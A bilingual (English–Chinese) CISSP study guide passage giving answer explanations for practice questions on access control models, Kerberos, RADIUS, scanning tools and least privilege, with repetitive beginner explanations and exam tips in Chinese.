A risk-based access control model examines the environment, the situation, and policies coded in software to determine access. 5. D. A role-based access control (RBAC) model can group users into roles based on the organization's hierarchy, and it is a nondiscretionary access control model. A nondiscretionary access control model uses a central authority to determine which objects that subjects can access. In contrast, a discretionary access control (DAC) model allows users to grant or reject access to any objects they own. An ACL is an example of a rule-based access control model that uses rules, not roles. 6. A.

The role-based access control (RBAC) model is based on role or group membership, and users can be members of multiple groups. Users are not limited to only a single role. RBAC models are based on the hierarchy of an organization, so they are hierarchy-based. The mandatory access control (MAC) model uses assigned labels to identify access.

中文直译 / 整理

第14章:控制和监控访问 1. B. 隐式拒绝原则确保除非明确允许(或明确授予)某个主体对对象的访 问,否则将拒绝访问。 它并不允许所有未被拒绝的操作,也不要求所有操 作都被拒绝。 2. B. 访问控制矩阵包含多个对象和主体。 它标识了主体(如用户)对对象 (如文件)所授予的访问权限。 访问控制矩阵中某个特定对象的主体单一列 表称为访问控制列表。 联邦指的是一组共享联合身份管理(FIM)系统以实 现单点登录(SSO)的公司。 权限蔓延指的是主体随时间积累的过度权限。 3. B. 自主访问控制模型允许资源的所有者(或数据管理员)自行决定授予 权限。 其他选项(MAC、RBAC 和基于规则的访问控制)均为非自主模型。 4. A. DAC 模型允许数据的所有者修改数据的权限。 在 DAC 模型中,对象拥 有所有者,所有者可以授予或拒绝访问其拥有的对象。 MAC 模型使用标签, 根据用户的知悉需求和组织策略分配访问权限。 基于规则的访问控制模型使 用规则来授予或阻止访问。 基于风险的访问控制模型会检查环境、情况以及 软件中编码的策略以确定访问权限。

5. D. 基于角色的访问控制(RBAC)模型可以根据组织的层级结构将用户分 组为角色,它是一种非自主访问控制模型。 非自主访问控制模型使用中央权 威来确定主体可以访问哪些对象。 相比之下,自主访问控制(DAC)模型允 许用户授予或拒绝访问其拥有的任何对象。 ACL 是基于规则的访问控制模型 的一个示例,它使用规则而非角色。 6. A. 基于角色的访问控制(RBAC)模型基于角色或组成员身份,用户可以 是多个组的成员。 用户并不局限于仅一个角色。 RBAC 模型基于组织的层级 结构,因此属于基于层级的模型。 强制访问控制(MAC)模型使用分配的标 签来标识访问权限。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

身份:身份是主体在系统中的标识。

基于角色的访问控制 RBAC:RBAC 按角色分配权限,适合岗位清晰的组织。

强制访问控制 MAC:MAC 由系统根据标签和级别强制决定访问。

自主访问控制 DAC:DAC 由对象所有者决定谁能访问。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1521 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

身份管理题要区分识别、认证、授权、审计。

角色、岗位、职责分离常对应 RBAC。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

文件所有者授权、ACL 常见于 DAC。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
身份 身份是主体在系统中的标识。
基于角色的访问控制 RBAC RBAC 按角色分配权限,适合岗位清晰的组织。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
自主访问控制 DAC DAC 由对象所有者决定谁能访问。
学习单元 128 / PDF P1522

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

7. D. A rule-based access control model uses global rules applied to all users and other subjects equally. It does not apply rules locally or to individual users. 8. B. The ABAC model is commonly used in SDNs. None of the other answers are normally used in SDNs. The MAC model uses labels to define access, and the RBAC model uses groups. In the DAC model, the owner grants access to others. 9. B. In a hierarchical environment, the various classification labels are assigned in an ordered structure from low security to high security. The mandatory access control (MAC) model supports three environments: hierarchical, compartmentalized, and hybrid.

A compartmentalized environment ignores the levels and instead only allows access for individual compartments on any level. A hybrid environment is a combination of a hierarchical and compartmentalized environment. A MAC model doesn't use a centralized environment. 10. B. The MAC model uses labels to identify the upper and lower bounds of classification levels, and these define the level of access for subjects. MAC is a nondiscretionary access control model that uses labels. However, not all nondiscretionary access control models use labels. DAC and ABAC models do not use labels. 11. C. Mandatory access control (MAC) models rely on the use of labels for subjects and objects.

They look similar to a lattice when drawn, so the MAC model is often referred to as a lattice-based model. None of the other answers use labels. Discretionary access control (DAC) models allow an owner of an object to control access to the object. Nondiscretionary access controls have centralized management, such as a rule-based access control model deployed on a firewall. Role-based access control (RBAC) models define a subject's access based on jobrelated roles. 12. A. A risk-based access control model can require users to authenticate with multifactor authentication. None of the other access control models listed can evaluate how a user has logged on.

A MAC model uses labels to grant access. An RBAC model grants access based on job roles or groups. In a DAC model, the owner grants access to resources. 13. A. A risk-based access control model evaluates the environment and the situation and then makes access decisions based on coded policies. A MAC model grants access using labels. An RBAC model uses a well- 7. D.

中文直译 / 整理

基于规则的访问控制模型使用应用于所有用户和其他主体的全局规则。 它不针对单个用户或本地应用规则。 8. B. ABAC 模型常用于 SDN 中。 其他选项通常不用于 SDN。 MAC 模型 使用标签来定义访问权限,而 RBAC 模型使用组。 在 DAC 模型中,所有 者向他人授予访问权限。 9. B. 在分层环境中,各种分类标签按从低安全到高安全的有序结构进行分 配。 强制访问控制(MAC)模型支持三种环境:分层、分隔和混合。 分隔 环境忽略层级,仅允许访问任何层级上的独立分隔区。 混合环境是分层和 分隔环境的组合。 MAC 模型不使用集中式环境。 10. B. MAC 模型使用标签来标识分类级别的上下限,这些标签定义了主体的 访问级别。 MAC 是一种非自主访问控制模型,使用标签。 然而,并非所有非 自主访问控制模型都使用标签。 DAC 和 ABAC 模型不使用标签。 11. C. 强制访问控制(MAC)模型依赖于为主体和对象使用标签。 当绘制出 来时,它们看起来类似于格状结构,因此MAC模型常被称为基于格的模型。 其他选项均未使用标签。 自主访问控制(DAC)模型允许对象的所有者控制 对对象的访问。

非自主访问控制具有集中式管理,例如在防火墙上部署的基 于规则的访问控制模型。 基于角色的访问控制(RBAC)模型根据与工作相 关的角色定义主体的访问权限。 12. A. 基于风险的访问控制模型可以要求用户使用多因素身份验证进行身份验 证。 列出的其他访问控制模型均无法评估用户的登录方式。 MAC模型使用标 签来授予访问权限。 RBAC模型根据工作角色或组授予访问权限。 在DAC模型 中,所有者授予对资源的访问权限。 13. A. 基于风险的访问控制模型评估环境和情境,然后根据编码策略做出访 问决策。 MAC模型使用标签授予访问权限。 RBAC模型使用一个良好的

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

分层:分层把控制按层排列,让攻击者必须连续突破。

防火墙:防火墙根据规则控制网络流量进出。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

serial controls 更深,parallel controls 更宽;题目会考深度和广度。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

身份管理题要区分识别、认证、授权、审计。

角色、岗位、职责分离常对应 RBAC。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
分层 分层把控制按层排列,让攻击者必须连续突破。
防火墙 防火墙根据规则控制网络流量进出。
身份 身份是主体在系统中的标识。
基于角色的访问控制 RBAC RBAC 按角色分配权限,适合岗位清晰的组织。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
自主访问控制 DAC DAC 由对象所有者决定谁能访问。
基于属性的访问控制 ABAC ABAC 根据用户、资源、环境等属性动态决策。
学习单元 129 / PDF P1523

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

defined collection of named job roles for access control. Administrators grant each job role with the privileges they need to perform their jobs. An ABAC model uses attributes to grant access and is often used in softwaredefined networks (SDNs). 14. A. OpenID Connect (OIDC) uses a JavaScript Object Notation (JSON) Web Token (JWT) that provides both authentication and profile information for internet-based single sign-on (SSO). None of the other options use tokens. OIDC is built on the OAuth 2.0 framework. TLS is a transport layer protocol that does not provide single sign-on. 15. D.

Configuring a central computer to synchronize its time with an external NTP server and all other systems to synchronize their time with the NTP will likely solve the problem and is the best choice of the available options. Kerberos requires computer times to be within 5 minutes of each other and the scenario, along with the available options, suggested the user's computer is not synchronized with the Kerberos server. Kerberos uses AES. However, because a user successfully logs on to one computer, it indicates Kerberos is working, and AES is installed. NAC checks a system's health after the user authenticates. NAC doesn't prevent a user from logging on.

Some federated systems use SAML, but Kerberos doesn't require SAML. 16. C. The primary purpose of Kerberos is authentication, since it allows users to prove their identity. It also provides a measure of confidentiality and integrity using symmetric key encryption, but these are not the primary purpose. Kerberos does not include logging capabilities, so it does not provide accountability. 17. B. The network access server is the client within a RADIUS architecture. The RADIUS server is the authentication server, and it provides authentication, authorization, and accounting (AAA) services. The network access server might have a host firewall enabled, but that isn't the primary function. 18. B.

The best choice is to give the administrator the root password. The administrator would enter it manually when running commands that need elevated privileges. Sudo access would allow the user to run commands requiring root-level privileges, under the context of the user account. If an attacker compromised the user account, the attacker could run the elevated commands with sudo. Linux systems don't have an administrator group or a LocalSystem account.

中文直译 / 整理

用于访问控制的已命名岗位角色的定义集合。 管理员为每个岗位角色授予 其执行工作所需的权限。 ABAC 模型使用属性来授予访问权限,常用于软 件定义网络(SDN)中。 14. A. OpenID Connect (OIDC) 使用 JavaScript 对象表示法 (JSON) Web 令牌 (JWT),该令牌为基于互联网的单点登录 (SSO) 提供身份验证和 配置文件信息。 其他选项均不使用令牌。 OIDC 基于 OAuth 2.0 框架构建。 TLS 是一种传输层协议,不提供单点登录功能。 15. D. 将一台中心计算机配置为与外部 NTP 服务器同步时间,并将所有其他 系统配置为与该 NTP 服务器同步时间,很可能会解决问题,也是现有选项中 的最佳选择。 Kerberos 要求计算机时间相互之间相差不超过 5 分钟,而本场 景及可用选项表明用户的计算机未与 Kerberos 服务器同步。 Kerberos 使用 AES。 然而,由于用户能够成功登录一台计算机,说明 Kerberos 正在运行, 且 AES 已安装。 NAC 在用户身份验证后检查系统的健康状况,但不会阻止 用户登录。

某些联合系统使用 SAML,但 Kerberos 不需要 SAML。 16. C. Kerberos 的主要目的是身份验证,因为它允许用户证明其身份。 它还 使用对称密钥加密提供一定程度的机密性和完整性,但这些并非主要目的。 Kerberos 不包含日志记录功能,因此不提供问责性。 17. B. 网络访问服务器是 RADIUS 架构中的客户端。 RADIUS 服务器是认 证服务器,提供认证、授权和计费(AAA)服务。 网络访问服务器可能启用 了主机防火墙,但这并非其主要功能。 18. B. 最佳选择是向管理员提供 root 密码。 管理员在运行需要提升权限的命 令时手动输入该密码。 Sudo 访问允许用户在自身账户上下文中运行需要 root 权限的命令。 如果攻击者入侵了用户账户,攻击者便可使用 sudo 运行 提升权限的命令。 Linux 系统没有管理员组或 LocalSystem 账户。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

AAA 服务:AAA 常说认证、授权、记账,但完整链条还包括识别和审计。

认证:认证是验证“你是不是你声称的那个人”。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

Identification 是声称身份,Authentication 是证明身份,Authorization 是允许做什么。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
AAA 服务 AAA 常说认证、授权、记账,但完整链条还包括识别和审计。
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
问责性 问责性要求能把行为绑定到具体主体。
加密 加密把内容变成未授权者看不懂的形式。
NIST NIST 提供美国常用安全标准、框架和指南。
学习单元 130 / PDF P1524

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

19. D. NTLM is known to be susceptible to pass-the-hash attacks, and this scenario describes a pass-the-hash attack. Kerberos attacks attempt to manipulate tickets, such as in pass the ticket and golden ticket attacks, but these are not NTLM attacks. A rainbow table attack uses a rainbow table in an offline brute-force attack. 20. C. Attackers can create golden tickets after successfully exploiting Kerberos and obtaining the Kerberos service account (KRBTGT). Golden tickets are not associated with Remote Authentication Dial-in User Service (RADIUS), Security Assertion Markup Language (SAML), or OpenID Connect (OIDC). 19. D. NTLM

中文直译 / 整理

已知易受传递哈希攻击,此场景描述了一次传递哈希攻击。 Kerberos 攻击试图操纵票据,例如传递票据和黄金票据攻击,但这些并非 NTLM 攻击。 彩虹表攻击使用彩虹表进行离线暴力破解。 20. C. 攻击者在成功利用 Kerberos 并获取 Kerberos 服务账户(KRBTGT) 后,可以创建黄金票据。 黄金票据与远程认证拨号用户服务(RADIUS)、安 全断言标记语言(SAML)或 OpenID Connect(OIDC)无关。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

哈希:哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

哈希本身不提供机密性;它主要用于完整性校验。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
学习单元 131 / PDF P1525

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

Chapter 15: Security Assessment and Testing 1. A. Nmap is a network discovery scanning tool that reports the open ports on a remote system and the firewall status of those ports. Nessus is a network vulnerability scanning tool. Metasploit is an exploitation framework used in penetration testing. lsof is a Linux command used to list open files on a system. 2. D. Only open ports represent potentially significant security risks. Ports 80 and 443 are expected to be open on a web server. Port 1433 is a database port and should never be exposed to an external network.

Port 22 is used for the Secure Shell protocol (SSH), and the filtered status indicates that Nmap can't determine whether it is open or closed. This situation does require further investigation, but it is not as alarming as a definitely exposed database server port. 3. C. The sensitivity of information stored on the system, difficulty of performing the test, and likelihood of an attacker targeting the system are all valid considerations when planning a security testing schedule. The desire to experiment with new testing tools should not influence the production testing schedule. 4. C.

Security assessments include many types of tests designed to identify vulnerabilities, and the assessment report normally includes recommendations for mitigation. The assessment does not, however, include actual mitigation of those vulnerabilities. 5. A. Security assessment reports should be addressed to the organization's management. For this reason, they should be written in plain English and avoid technical jargon. 6. C. Vulnerability scanners are used to test a system for known security vulnerabilities and weaknesses. They are not active detection tools for intrusion, they offer no form of enticement, and they do not configure system security.

In addition to testing a system for security weaknesses, they produce evaluation reports and make recommendations. 7. B. The server is likely running a website on port 80. Using a web browser to access the site may provide important information about the site's purpose. 8. B. The SSH protocol uses port 22 to accept administrative connections to a server.

中文直译 / 整理

第15章:安全评估与测试 1. A. Nmap 是一种网络发现扫描工具,用于报告远程系统上开放的端口及 其防火墙状态。 Nessus 是一种网络漏洞扫描工具。 Metasploit 是用于渗透 测试的利用框架。 lsof 是用于列出系统上打开文件的 Linux 命令。 2. D. 仅开放的端口才可能构成重大的安全风险。 端口 80 和 443 在 Web 服 务器上预期是开放的。 端口 1433 是数据库端口,绝不应暴露于外部网络。 端口 22 用于安全外壳协议(SSH),过滤状态表示 Nmap 无法确定其是否 开放或关闭。 这种情况需要进一步调查,但其危险性不如明确暴露的数据库 服务器端口高。 3. C. 系统上存储信息的敏感性、执行测试的难度以及攻击者针对系统的可能 性,都是规划安全测试计划时的合理考虑因素。 不应因希望尝试新测试工具 而影响生产环境的测试计划。 4. C. 安全评估包括多种旨在识别漏洞的测试,评估报告通常包含缓解建议。 然而,评估本身并不包括对这些漏洞的实际缓解。 5. A. 安全评估报告应提交给组织的管理层。 因此,它们应使用通俗易懂的 英语撰写,并避免使用技术术语。

6. C. 漏洞扫描器用于测试系统中已知的安全漏洞和弱点。 它们并非用于入 侵的主动检测工具,不提供任何形式的诱捕,也不配置系统安全。 除了测试 系统的安全弱点外,它们还会生成评估报告并提出建议。 7. B. 服务器很可能在端口 80 上运行网站。 使用网页浏览器访问该网站可能 提供有关网站用途的重要信息。 8. B. SSH 协议使用端口 22 来接受对 服务器的管 理连接。

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

渗透测试:渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。

NIST:NIST 提供美国常用安全标准、框架和指南。

防火墙:防火墙根据规则控制网络流量进出。

漏洞扫描:漏洞扫描用工具找已知弱点。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

渗透测试通常比漏洞扫描更深入,但也更需要授权和范围控制。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

扫描发现弱点,不等于已经成功利用。

渗透测试需要书面授权、范围和规则。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
渗透测试 渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。
NIST NIST 提供美国常用安全标准、框架和指南。
防火墙 防火墙根据规则控制网络流量进出。
漏洞扫描 漏洞扫描用工具找已知弱点。
渗透测试 渗透测试在授权范围内模拟攻击验证风险。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
学习单元 132 / PDF P1526

第 1526 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

9. D. Authenticated scans can read configuration information from the target system and reduce the instances of false positive and false negative reports. 10. C. The TCP SYN scan sends a SYN packet and receives a SYN ACK packet in response, but it does not send the final ACK required to complete the three-way handshake. 11. D. SQL injection attacks are web vulnerabilities, and Matthew would be best served by a web vulnerability scanner. A network vulnerability scanner might also pick up this vulnerability, but the web vulnerability scanner is specifically designed for the task and more likely to be successful. 12. C.

The scenario does not provide us with enough information to determine whether this exercise involved red team, blue team, or purple team tactics, and in fact, those exercises typically involve live access to systems. Tabletop exercises, on the other hand, are designed to walk teams through a scenario, and that is what Tina is doing in this instance. 13. B. Metasploit is an automated exploit tool that allows attackers to easily execute common attack techniques. Nmap is a port scanning tool. Nessus is a network vulnerability scanner, and Nikto is a web application scanner. While these other tools might identify potential vulnerabilities, they do not go as far as to exploit them. 14. C.

Mutation fuzzing uses bit flipping and other techniques to slightly modify previous inputs to a program in an attempt to detect software flaws. 15. A. Misuse case testing identifies known ways that an attacker might exploit a system and tests explicitly to see if those attacks are possible in the proposed code. 16. B. User interface testing includes assessments of both graphical user interfaces (GUIs) and command-line interfaces (CLIs) for a software program. 17. B. During a white-box penetration test, the testers have access to detailed configuration information about the system being tested. 18. B. Unencrypted HTTP communications take place over TCP port 80 by default. 9. D.

中文直译 / 整理

已认证扫描可以读取目标系统的配置信息,并减少误报和漏报的 实例。 10. C. TCP SYN扫描发送一个SYN数据包,并接收一个SYN ACK数据包作为 响应,但不会发送完成三次握手所需的最终ACK。 11. D. SQL注入攻击是Web漏洞,Matthew最好使用Web漏洞扫描器。 网 络漏洞扫描器也可能发现此漏洞,但Web漏洞扫描器专为此任务设计,更 有可能成功。 12. C. 该情景未提供足够信息以确定此演练是否涉及红队、蓝队或紫队战术, 事实上,这些演练通常涉及对系统的实时访问。 而桌面演练的设计目的是引 导团队逐步演练场景,这正是Tina在此情况下所进行的。 13. B. Metasploit是一种自动化渗透工具,允许攻击者轻松执行常见的攻击技 术。 Nmap是一个端口扫描工具。 Nessus是一个网络漏洞扫描器,Nikto是一 个Web应用程序扫描器。 虽然这些其他工具可能识别潜在漏洞,但它们不会 进一步利用这些漏洞。 14. C. 变异模糊测试使用位翻转和其他技术对程序的先前输入进行微小修 改,以尝试检测软件缺陷。

15. A. 滥用案例测试识别攻击者可能利用系统的已知方式,并明确测试这些 攻击在所提议的代码中是否可能发生。 16. B. 用户界面测试包括对软件程序的图形用户界面(GUI)和命令行界 面(CLI)的评估。 17. B. 在白盒渗透测试期间,测试人员可以访问有关被测系统的详细配置信息。 18. B. 未加密的 HTTP 通信默认通过 TCP 端口 80 进行。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

渗透测试:渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

程序:程序是一步一步怎么做。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1526 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

渗透测试通常比漏洞扫描更深入,但也更需要授权和范围控制。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Step-by-step、SOP 常对应 procedure。

网络题先定位层次,再判断协议、设备或攻击位置。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
渗透测试 渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
程序 程序是一步一步怎么做。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
漏洞扫描 漏洞扫描用工具找已知弱点。
渗透测试 渗透测试在授权范围内模拟攻击验证风险。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 133 / PDF P1527

第 1527 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

19. B. There are only two types of SOC report: Type I and Type II. Both reports provide information on the suitability of the design of security controls. Only a Type II report also provides an opinion on the operating effectiveness of those controls over an extended period of time. 20. B. The backup verification process ensures that backups are running properly and thus meeting the organization's data protection objectives. 19. B. SOC

中文直译 / 整理

报告只有两种类型:类型 I 和类型 II。 这两种报告都提供有关安 全控制设计适当性的信息。 只有类型 II 报告还提供对这些控制在较长时间内 运行有效性的意见。 20. B. 备份验证过程确保备份正常运行,从而满足组织的数据保护目标。

小白解释

场景先行:你是公司的安全负责人,正在读第 1527 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1527 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 134 / PDF P1528

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

Chapter 16: Managing Security Operations 1. C. The need-to-know policy operates on the basis that any given system user should be granted access only to portions of sensitive information or materials necessary to perform some task. The principle of least privilege ensures personnel are granted only the permissions they need to perform their job and no more. Segregation of duties ensures that no single person has total control over a critical function or system. There isn't a standard principle called “as-needed basis.” 2. C. Need-to-know is the requirement to have access to, knowledge about, or possession of data to perform specific work tasks, but no more.

The principle of least privilege includes both rights and permissions, but the term principle of least permission is not valid within IT security. Segregation of duties (SoD) ensures that a single person doesn't control all the elements of a process. A segregation of duties policy ensures that no single person has total control over a critical function. A job rotation policy requires employees to rotate to different jobs periodically 3. C. An organization applies the least privilege principle to ensure employees receive only the access they need to complete their job responsibilities. Need-to-know refers to permissions only, while privileges include both rights and permissions.

A mandatory vacation policy requires employees to take a vacation in oneor two-week increments. An SLA identifies performance expectations and can include monetary penalties. 4. D. Microsoft domains include a privileged account management solution that grants administrators elevated privileges when they need them, but restricts the access using a time-limited ticket. The principle of least privilege includes both rights and permissions, but the term principle of least permission is not valid within IT security. Segregation of duties ensures that a single person doesn't control all the elements of a process or a critical function.

Need-to-know is the requirement to have access to, knowledge about, or possession of data to perform specific work tasks, but no more. 5. D. The default level of access, should be no access. The principle of least privilege dictates that users should only be granted the level of access they need for their job, and the question doesn't indicate that new users need any access to the database. Read access, modify access, and full

中文直译 / 整理

